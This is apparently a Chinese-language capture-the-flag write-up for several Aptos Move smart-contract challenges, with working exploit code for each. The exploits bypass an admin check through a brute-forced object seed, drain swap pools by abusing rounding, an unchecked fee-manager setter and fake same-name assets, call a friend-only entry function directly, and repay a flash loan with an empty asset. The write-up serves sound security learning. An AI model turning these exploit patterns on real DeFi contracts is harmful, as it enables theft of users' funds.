趁这个机会学学 Move XD

U Can’t Touch This

这题的主要考点是对于 check_admin 函数的绕过,它会检查传入 signer address 的前两位字节是否是 0xf75d,而 user 的 address 显然不是。翻文档可以知道 object::create_named_object 可以传入 seeds 生成 ConstructorRef 进而生成 signer 来绕过 check_admin 中对前两个字节的校验。

seed 可以通过链下 SDK 暴力枚举得到。

public entry fun solve(account: &signer) {
	let constructor_ref = object::create_named_object(account, b"74e0d36a18");
	let object_signer = object::generate_signer(&constructor_ref);
	let safe_obj = object::address_to_object<SafeDepositBox>(@0x5d26592cd1c87c51aec9a4f0071011905b534b62a0eae4c5966ef8f13b5f4011);
	let flag = this::open_safe(safe_obj, &object_signer);
	let flag = this::touch_this(flag, b"osec", &object_signer);
	this::close_safe(flag, account);
}

Sage

题目需要传入一个 m 向量和 n 向量参与运算得到的结果与 flag 相等。

观察可以知道是自实现的矩阵运算,需要先用给的前 9 个 next_text 元素解出 X 矩阵的所有情况,然后枚举计算能使所有 m 都有解的 X 矩阵情况。

public entry fun solve() {
	let m = vector[22,12,17,6,17,0,19,20,33,0,19,8,14,13,18,24,36,20,0,10,37,0,28,4,3,41,36,1,17,37,0,32,19,7,4,29,8,11,11,34,18,39,35,32,5,11,4,16,30,39,11,4,7,0,22,8,28,15,33,0,13,4,41];
	let n = vector[25, 11, 6, 32, 13, 3, 12, 19, 2];
	sage::challenge(m, n);
}

Simple Swap

这题实现了一个简单的 deposit/withdraw 和 swap,可以看 initialize 函数来找初始状态:

  • 创建 APT coin (decimals = 6)
  • 创建一个 Faucet
    • user 可以拿到 5 token (0.000005)
    • admin 可以拿到 8 token (0.000008)
  • 创建一个 Vault 用来存 APT
  • 创建 TokenB coin (decimals = 1)
  • 创建 Pool<APT, TokenB>
    • APT 20 token (0.000020)
    • TokenB 20 token (2)
  • 取消 TokenB 的所有 cap (burn, mint, freeze)
  • challenger 获得 APT 的所有 cap
  • 创建 Share token (decimals = 6)
  • challenger 获得 Share 的所有 cap

solve check 是池子里的一种 token 为 0 即可。

观察可以发现 swap 的时候存在精度误差,能一直换到池子空。不过需要 amount >= 6 才能调用这个函数,但用户初始的只有 5 amount。

发现有个 donate 函数可以改变 share token 的 rate;远程还提供了一次 admin deposit 8 amout 的调用,并且也有向下取整的问题,所以可以用如下构造方式从 admin 那里拿一点。

initialize

Admin: 8 APT; User: 5 APT; Vault: None

user deposit 1 APT

Admin: 8 APT; User: 4 APT, 1 Share; Vault: 1 APT

user donate 4 APT

Admin: 8 APT; User: 1 Share; Vault: 5 APT

admin deposit 8 APT

Admin: 1 Share; User: 1 Share; Vault: 13 APT

这样 User 就可以用 1 Share token 换 6 APT 了,然后一直换池子就行。

module solution::exploit {
    use challenge::swap;
    use challenge::swap::APT;
    use challenge::swap::TokenB;
 
    public entry fun solve_part_1(account: &signer) {
        // first get claim
        swap::claim(account);
 
        // - Get 6 APT
        // 1. User deposit 1 APT
        swap::deposit(account, 1);
 
        // 2. User donate 4 APT
        swap::donate(account, 4);
    }
 
    // 3. Admin deposit 8 APT
 
    public entry fun solve_part_2(account: &signer) {
        
        // 4. User withdraw 1 Share and get 6 APT as expected
        swap::withdraw(account, 1);
 
        // - Hack the swap pool
        swap::swap<APT, TokenB>(account, 6, true);
        swap::swap<APT, TokenB>(account, 6, false);
        swap::swap<APT, TokenB>(account, 11, true);
        swap::swap<APT, TokenB>(account, 6, false);
    }
 
    // End game
    public entry fun solve(account: &signer) {}
}

Swap

题目环境中创建了四种 asset,并为此创建了两个池子,前两种 asset 组成一个 volatile pool, 后两种 asset 组成 stable pool。两个池子计算 amount_out 的方式有区别,不过在计算之前都会以一定比率从 amount_in 里拿取 fees_amount,这个 fees_amount 可以由 fee_manager 获得。

在初始化过程中,给了池子初始的 asset:

pool1 (is_stable = false)
osec: 1337
movebit: 1337

pool2 (is_stable = true)
zellic: 1337
jbz: 1337

然后 user 可以调用 router::free_mint 来获取一笔空投:

osec: 100
movebit: 100
zellic: 10
jbz: 0

router::is_solved 的条件是两个池子里的所有 asset balance 为空且 pool fees amount 也为空。

池子全为空这个条件在正常 K 值模型下的 swap 是不太可能出现的,因此可以考虑从以下几个角度入手寻找漏洞:

  1. K 值计算错误
  2. 在正常计算 amount out 的前后引入不正确的 fee 计算
  3. 精度误差

通过审计代码,可以发现以下几个漏洞点:

  1. fee_manager 可以被任意 user 设置

pool::set_fee_manager 中,本应该验证传入的 fee_manager 为当前池子的 fee_manager,即 assert!(address_of(fee_manager) == pool_configs.fee_manager, 0),但代码中并未验证。

因此我们可以设置自己的 user 为 fee_manager,从而调用 claim_fees 获得池子的 fee。

public entry fun set_fee_manager(
	fee_manager: &signer, new_fee_manager: address
) acquires LiquidityPoolConfigs {
	let pool_configs = mut_liquidity_pool_config();
	assert!(address_of(fee_manager) == new_fee_manager, 0);
	pool_configs.pending_fee_manager = new_fee_manager;
}
  1. 池子创建时的 seeds 未包含 is_stable 标志

在创建池子的时候的 seeds 是通过两种 asset 的 name 去进行计算的,没有包含 is_stable 标志,所以调用 swap 函数时 is_stable 的值对结果没有影响。

inline fun get_pool_seeds(
	token_1: Object<Metadata>, token_2: Object<Metadata>, _is_stable: bool
): vector<u8> {
	let token_symbol = lp_token_name(token_1, token_2);
	let seeds = *string::bytes(&token_symbol);
	seeds
}

而在 swap 里对于 volatile pool 有对于 K 值不变的检查:

if (!is_stable) {
	assert!(k_before != k_after, 0);
};

我们便可以凭借这一点绕过这一检查。

  1. swap 时候可以伪造 asset

swap_a_2_b 为例:

这里有一个对 from_token 的判断逻辑:正常情况下传入的 from_token 如果不等于 pool_data.metadata_1,那么便是 pool_data.metadata_2,会走到 else 分支;但是如果传入的是一个伪造的 asset,与正常的 asset 有相同的 token name(为了找到 pool 的地址),同样会走到 else 分支进行正常的 withdraw 操作,并且不会通过 deposit 增加 pool 中正常 asset 的数量。

let out = if (from_token == pool_data.metadata_1) {
	primary_fungible_store::deposit(swap_address, from);
	pool_data.fees_1 = pool_data.fees_1 + fees_amount;
	primary_fungible_store::withdraw(swap_signer, pool_data.metadata_2, amount_out)
} else {
	primary_fungible_store::deposit(swap_address, from);
	pool_data.fees_2 = pool_data.fees_2 + fees_amount;
	primary_fungible_store::withdraw(swap_signer, pool_data.metadata_1, amount_out)
};

所以我们可以构造任意数量的 asset 去换取池子中的正常 asset。下面的问题是如何把池子换空。

因为我们现在可以 withdraw fees amount,又由于 fees_amount 是直接由 amount_in 的一定比例得到的,所以一个想法便是构造一个数值,使得调用 swap 时 withdraw 的 asset 数量与获得的 fees_amount 之和恰好等于池子中这种 asset 的数量。

编写 Python 脚本进行爆破:

执行得到了 swap 时需要传入的 asset 数量。值得注意的是每个池子需要让两种 asset 都空,所以第二次在爆破时候需要在脚本里更新一下当前 pool 的状态 (也就是其中一个 reserve = 0)。

最终 payload:

public entry fun solve(account: &signer) {
	let account_address = address_of(account);
 
	let (osec_asset, 
		movebit_asset,
		zellic_asset,
		jbz_asset
	) = router::free_mint(account);
 
	let osec_metadata = fungible_asset::metadata_from_asset(&osec_asset);
	let movebit_metadata = fungible_asset::metadata_from_asset(&movebit_asset);
	let zellic_metadata = fungible_asset::metadata_from_asset(&zellic_asset);
	let jbz_metadata = fungible_asset::metadata_from_asset(&jbz_asset);
 
	let account_address = address_of(account);
	pool::set_fee_manager(account, account_address);
	pool::accept_fee_manager(account);
	// token1: osec
	// token2: movebit
 
	let fake_constructor_ref = &object::create_named_object(account, OSEC);
	primary_fungible_store::create_primary_store_enabled_fungible_asset(fake_constructor_ref,
		option::none(),
		utf8(OSEC),
		utf8(OSEC),
		9,
		utf8(b"http://example.com/favicon.ico"),
		utf8(b"https://ctf.aptosfoundation.org/"),);
	let osec_mint_ref = fungible_asset::generate_mint_ref(fake_constructor_ref);
	let fake_osec_tokens = fungible_asset::mint(&osec_mint_ref, 8900);
 
	let token = router::swap_a_2_b(fake_osec_tokens, movebit_metadata, true);
	primary_fungible_store::deposit(account_address, token);
 
 
	let (a, b) = router::claim_fees(account, osec_metadata, movebit_metadata, true);
	
	primary_fungible_store::deposit(account_address, a);
	primary_fungible_store::deposit(account_address, b);
 
	let (fee1, fee2) = router::fees(osec_metadata, movebit_metadata, true);
	let (balance1, balance2) = router::balance(osec_metadata, movebit_metadata, true);
	assert!(balance1 == 0, 0);
	assert!(balance2 == 1337, 0);
 
	let constructor_ref = &object::create_named_object(account,
		MOVEBIT);
	primary_fungible_store::create_primary_store_enabled_fungible_asset(constructor_ref,
		option::none(),
		utf8(MOVEBIT),
		utf8(MOVEBIT),
		9,
		utf8(b"http://example.com/favicon.ico"),
		utf8(b"https://ctf.aptosfoundation.org/"),);
 
	let movebit_mint_ref = fungible_asset::generate_mint_ref(constructor_ref);
	let fake_movebit_tokens = fungible_asset::mint(&movebit_mint_ref, 66850);
 
 
	let token = router::swap_b_2_a(osec_metadata, fake_movebit_tokens, true);
	primary_fungible_store::deposit(account_address, token);
 
	let (a, b) = router::claim_fees(account, osec_metadata, movebit_metadata, true);
	primary_fungible_store::deposit(account_address, a);
	primary_fungible_store::deposit(account_address, b);
 
 
	assert!(pool::is_sorted(zellic_metadata, jbz_metadata), 0);
	// token1: zellic_metadata
	// token2: jbz_metadata
 
	let constructor_ref = &object::create_named_object(account,
		ZELLIC);
	primary_fungible_store::create_primary_store_enabled_fungible_asset(constructor_ref,
		option::none(),
		utf8(ZELLIC),
		utf8(ZELLIC),
		9,
		utf8(b"http://example.com/favicon.ico"),
		utf8(b"https://ctf.aptosfoundation.org/"),);
 
	let zellic_mint_ref = fungible_asset::generate_mint_ref(constructor_ref);
	let fake_zellic_tokens = fungible_asset::mint(&zellic_mint_ref, 4100);
 
	let token = router::swap_a_2_b(fake_zellic_tokens, jbz_metadata, true);
	primary_fungible_store::deposit(account_address, token);
	let (a, b) = router::claim_fees(account, zellic_metadata, jbz_metadata, true);
	primary_fungible_store::deposit(account_address, a);
	primary_fungible_store::deposit(account_address, b);
 
	let constructor_ref =
		&object::create_named_object(account, JBZ);
	primary_fungible_store::create_primary_store_enabled_fungible_asset(constructor_ref,
		option::none(),
		utf8(JBZ),
		utf8(JBZ),
		9,
		utf8(b"http://example.com/favicon.ico"),
		utf8(b"https://ctf.aptosfoundation.org/"),);
 
	let jbz_mint_ref = fungible_asset::generate_mint_ref(constructor_ref);
	let fake_jbz_tokens = fungible_asset::mint(&jbz_mint_ref, 133700);
 
	let token = router::swap_b_2_a(zellic_metadata, fake_jbz_tokens, true);
	primary_fungible_store::deposit(account_address, token);
 
	let (a, b) = router::claim_fees(account, zellic_metadata, jbz_metadata, true);
	primary_fungible_store::deposit(account_address, a);
	primary_fungible_store::deposit(account_address, b);
 
	primary_fungible_store::deposit(account_address, osec_asset);
	primary_fungible_store::deposit(account_address, movebit_asset);
	primary_fungible_store::deposit(account_address, zellic_asset);
	primary_fungible_store::deposit(account_address, jbz_asset);
 
}

看到 revenge 时候才知道这题原来还有非预期…

Groth16

不给 hint 之前看到这一堆 math 感觉不会做,放了。 给了 hint 之后发现文档内容:

Note that it’s possible to combine entry with public or public(friend), In this case sample_function can be called by both the Aptos CLI/SDK by any module declared as a friend.

而更改 flag 的状态函数刚好就是这个情况,直接调用这个函数当入口即可,合约都不用写。

public(friend) entry fun modify_value() acquires ChallengeStatus {
	let challenge_status = borrow_global_mut<ChallengeStatus>(@challenger);
	challenge_status.is_solved = true;
}

solve:

# Invoke functions
invoke_function(b"0x0000000000000000000000000000000000000000000000000000000000001337::flag::modify_value", conn)
invoke_function(b"0x0000000000000000000000000000000000000000000000000000000000001338::exploit::solve", conn)

Flash Loan

题目提供了一个简单的 flash_loan 功能,但是在 repay 的时候并没有检查 asset 的 balance,所以可以 repay 个 0 balance 的 asset 回去。

public entry fun solve(account: &signer) {
	let account_address = address_of(account);
	let asset = flash::flash_loan(account, 1337);
	let asset_zero = fungible_asset::zero(fungible_asset::asset_metadata(&asset));
 
	flash::repay(account, asset_zero);
	primary_fungible_store::deposit(account_address, asset);
}